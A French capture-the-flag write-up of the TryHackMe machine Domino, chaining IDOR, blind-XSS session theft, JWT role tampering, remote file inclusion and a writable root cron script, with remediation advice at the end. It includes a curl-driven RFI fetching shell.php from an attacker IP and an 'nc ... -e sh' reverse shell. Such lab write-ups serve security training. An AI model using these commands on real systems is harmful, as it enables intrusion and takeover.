Write-up - Domino
Write-up - Domino
La cible est la machine CTF Domino (domino.thm), présentant un portail fictif NexusCorp. L’objectif était de partir d’une énumération réseau simple, de compromettre l’application web, puis d’obtenir un accès système jusqu’à root.
Synthèse
La compromission repose sur une chaîne de failles classiques mais cohérentes :
- énumération HTTP et fuite de noms d’utilisateurs depuis la page équipe
- IDOR sur une API de profils permettant de lire le profil administrateur
- attaque XSS aveugle sur les tickets de support pour récupérer une session administrateur
- abus d’une vérification JWT défaillante et d’une API de lecture de fichiers pour déclencher une inclusion distante
- récupération d’un accès
www-data, lecture de secrets applicatifs, puis réutilisation du mot de passe pour passerdevops - élévation de privilèges via une tâche cron root exécutant un script modifiable par l’utilisateur
devops
Préparation de la cible
L’adresse IP de la machine TryHackMe a été associée au nom domino.thm dans /etc/hosts afin de travailler avec le nom de domaine attendu par l’application.
1
2
TARGET=domino.thm
echo "10.128.133.255 domino.thm" | sudo tee -a /etc/hosts
Reconnaissance
Le scan TCP complet ne montre que deux services exposés : SSH sur le port 22 et HTTP sur le port 80.
1
nmap -p- -Pn -oA "$TARGET_full_ports" --min-rate 1000 "$TARGET"
La surface principale est donc l’application web. La page publique /team.php expose les membres de NexusCorp, leurs rôles et leurs adresses internes. Ces informations permettent de construire une liste d’utilisateurs au format prenom.nom.
Le formulaire de réinitialisation de mot de passe valide aussi ce format de nommage, ce qui confirme que les identifiants candidats sont réalistes.
Un brute-force limité sur le formulaire de connexion met ensuite en évidence des mots de passe faibles pour plusieurs comptes. Cette étape permet d’accéder à un compte utilisateur standard, par exemple sarah.johnson.
1
2
3
4
hydra -L users.txt \
-P /opt/lists/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000.txt \
domino.thm http-post-form '/index.php:username=^USER^&password=^PASS^:Invalid credentials.' \
-I
Le tableau de bord utilisateur indique ensuite l’existence d’une API de fichiers protégée par un jeton Bearer.
En parallèle, une énumération de contenu web révèle plusieurs chemins intéressants : /admin/, /api/, /backup/README.txt, /backup/config.enc et /static/app.js.
1
feroxbuster -w /opt/lists/seclists/Discovery/Web-Content/common.txt -u "http://$TARGET/"
IDOR sur l’API des profils
L’endpoint /api/users/profile.php accepte un paramètre id. En modifiant cet identifiant, il est possible de lire le profil d’autres utilisateurs sans contrôle d’autorisation suffisant. L’identifiant 1 renvoie le profil de laura.hayes, administratrice, avec le premier flag.
1
2
GET /api/users/profile.php?id=1 HTTP/1.1
Host: domino.thm
Flag obtenu :
1
THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}
Fuite de configuration et clé de backup
Le fichier /backup/README.txt indique que config.enc contient une configuration chiffrée en AES-128-ECB et que la clé de déchiffrement est référencée dans static/app.js.
Le JavaScript frontal contient effectivement une clé de backup N3xusK3y2024!!. Cette fuite n’est pas suffisante seule pour obtenir un accès système, mais elle confirme une mauvaise gestion des secrets côté client.
La clé visible dans app.js fait 14 octets, deux octets nuls sont ajoutés pour obtenir une clé AES-128 complète de 16 octets.
1
printf 'N3xusK3y2024!!\0\0' | xxd -p -c 256
1
4e337875734b33793230323421210000
Avec cette clé hexadécimale, le fichier chiffré se déchiffre et révèle notamment l’utilisateur système attendu :
1
2
3
openssl enc -d -aes-128-ecb \
-K 4e337875734b33793230323421210000 \
-in config.enc
1
{"app_name":"NexusCorp Portal","version":"2.3.1","deploy_env":"production","system_user":"devops"}
XSS aveugle et vol de session administrateur
Après connexion avec un compte utilisateur standard, la page de support permet de soumettre un ticket. Le champ de ticket est interprété lors de la revue par un bot administrateur, ce qui permet de déclencher une XSS aveugle.
Un listener est lancé côté attaquant :
1
nc -lvnp 8080
Le ticket contient un chargement de ressource externe vers ma machine. Dans mon essai, le point important n’est pas une lecture directe de document.cookie, mais le comportement du bot de revue : il effectue la requête HTTP vers le listener et y joint sa session dans l’en-tête Cookie.
Lorsque le bot administrateur consulte le ticket, une requête arrive donc sur le listener avec le cookie nexus_session. Ce comportement indique que le bot transmet sa session administrateur lors du traitement du ticket.
Le cookie est ensuite réinjecté dans le navigateur avec Cookie-Editor.
L’accès à /admin/ confirme la session laura.hayes et donne le deuxième flag.
Flag obtenu :
1
THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}
Abus du JWT et de l’API de fichiers
La console administrateur mentionne une API de lecture de fichiers :
1
2
GET /api/files.php?name=[path]
Authorization: Bearer <token>
Un jeton est récupéré via /api/auth/token.php.
Le JWT est en HS256. Son contenu montre un sujet laura.hayes mais un rôle initial user. Le contrôle côté serveur est défaillant : après décodage, le champ role peut être modifié en admin et un jeton régénéré est accepté par l’API. Le problème principal est donc que l’application fait confiance à un rôle fourni par le client sans validation robuste de la signature ni recoupement côté serveur.
Le jeton modifié est ensuite utilisé contre /api/files.php. Le paramètre name accepte une URL distante, ce qui permet de forcer le serveur à charger un fichier PHP hébergé côté attaquant.
1
2
3
4
5
6
7
python3 -m http.server 8080
rlwrap nc -lvnp 8000
curl -i -H "Authorization: Bearer $TOKEN" \
--get \
--data-urlencode "name=http://192.168.153.192:8080/shell.php" \
"http://$TARGET/api/files.php"
Le serveur cible récupère shell.php, l’exécute, puis ouvre un reverse shell en tant que www-data.
Flag obtenu :
1
THM{rf1_2_rc3_f00th0ld_fl4g3}
Mouvement latéral vers devops
Depuis le shell www-data, le fichier /var/www/html/config.php est lisible. Il contient plusieurs secrets applicatifs, dont le mot de passe de base de données D3v0ps!2024, le secret JWT et le secret applicatif.
1
cat /var/www/html/config.php
Le backup déchiffré indiquait que l’utilisateur système intéressant était devops, et son existence peut aussi être confirmée localement via /etc/passwd. Le mot de passe de base de données est réutilisé pour cet utilisateur, ce qui permet de passer de www-data à devops et de lire user.txt.
1
2
3
grep '^devops:' /etc/passwd
su devops
cat user.txt
Flag obtenu :
1
THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4}
Élévation de privilèges vers root
Une surveillance des processus montre qu’une tâche cron exécutée par root lance régulièrement /opt/monitoring/health_report.sh.
Le fichier appartient à root, mais ses permissions permettent à l’utilisateur devops de le modifier.
1
ls -lh /opt/monitoring/health_report.sh
1
-rwxrwxr-- 1 root devops ... /opt/monitoring/health_report.sh
Le script est donc modifié pour ouvrir un shell vers la machine attaquante lors de la prochaine exécution cron.
1
nc 192.168.153.192 8000 -e sh
Après déclenchement par la cron, le listener reçoit un shell root, ce qui permet de lire root.txt.
Flag obtenu :
1
THM{pr1v3sc_cr0n_r00t_fl4g5}
Tableau récapitulatif des flags
| Étape | Vulnérabilité principale | Flag |
|---|---|---|
| Profil administrateur | IDOR sur /api/users/profile.php?id=1 | THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1} |
| Console admin | XSS aveugle et vol de session | THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2} |
| Foothold | RFI via /api/files.php | THM{rf1_2_rc3_f00th0ld_fl4g3} |
| Utilisateur | Réutilisation du secret D3v0ps!2024 | THM{s5h_cr3d_r3u53_l4t3r4l_fl4g4} |
| Root | Cron root exécutant un script modifiable par devops | THM{pr1v3sc_cr0n_r00t_fl4g5} |
Causes racines et remédiations
- Mettre en place des contrôles d’autorisation côté serveur sur tous les objets utilisateurs, notamment sur
/api/users/profile.php. - Échapper strictement les entrées affichées dans les tickets de support et ajouter une politique CSP adaptée.
- Protéger les cookies de session avec
HttpOnly,SecureetSameSite, et ne jamais les transmettre à des services externes depuis un bot administrateur. - Ne pas exposer de secrets dans le JavaScript client et supprimer les backups accessibles publiquement.
- Remplacer AES-ECB par un mode authentifié, par exemple AES-GCM, lorsque du chiffrement applicatif est réellement nécessaire.
- Vérifier cryptographiquement les JWT côté serveur, refuser
alg: none, signer avec un secret robuste stocké hors du code et ne jamais faire confiance au rôle fourni par le client sans recoupement serveur. - Restreindre l’API de fichiers à une allowlist locale et interdire les URL distantes pour éviter les inclusions de fichiers.
- Séparer les secrets de base de données, d’application et de comptes système afin d’empêcher la réutilisation de mot de passe.
- Corriger les permissions de
/opt/monitoring/health_report.shpour empêcher l’écriture pardevops, ou exécuter la tâche cron avec un compte dédié non privilégié.
Conclusion
Domino illustre bien l’effet cumulatif de failles moyennes : aucune étape n’est très complexe isolément, mais les informations fuitées à chaque phase alimentent la suivante. La progression est représentative d’un chemin de pentest web vers système : énumération, contrôle d’accès cassé, XSS, abus d’API, fuite de secrets, mouvement latéral, puis mauvaise configuration cron pour obtenir root.























